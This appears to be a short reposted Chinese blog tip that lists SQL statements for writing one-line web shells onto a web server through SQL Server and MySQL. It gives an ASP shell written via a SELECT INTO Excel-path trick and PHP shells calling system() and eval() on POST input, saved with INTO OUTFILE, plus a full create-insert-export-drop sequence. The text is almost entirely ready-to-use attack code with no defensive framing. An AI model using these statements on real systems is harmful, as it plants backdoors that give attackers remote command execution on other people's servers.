1、SQLServer执行SQL语句生成一句话
select ‘<%execute request("a")%>‘ into [NB_master] in
‘d:\wwwroot\x.asp;a.xls‘‘excel 8.0;‘ from NB_master;
NB_master必须是已经存在的表
2、MySQL执行SQL语句生成一句话
select "<?php @system($_POST["cmd"]);?>" into outfile
"/home/webaccount/projectname/www/*.php";
完整执行如下：
create table a (cmd text not null); insert into a(cmd) values(‘<?php eval($_POST[cmd]);?>‘);
select cmd from a into outfile ‘网站可写路径/一句话马名.php‘; drop table if exists a;
原文：https://www.cnblogs.com/D-arling/p/14714852.html
如果您也喜欢它,动动您的小指点个赞吧
602392714
清零编程群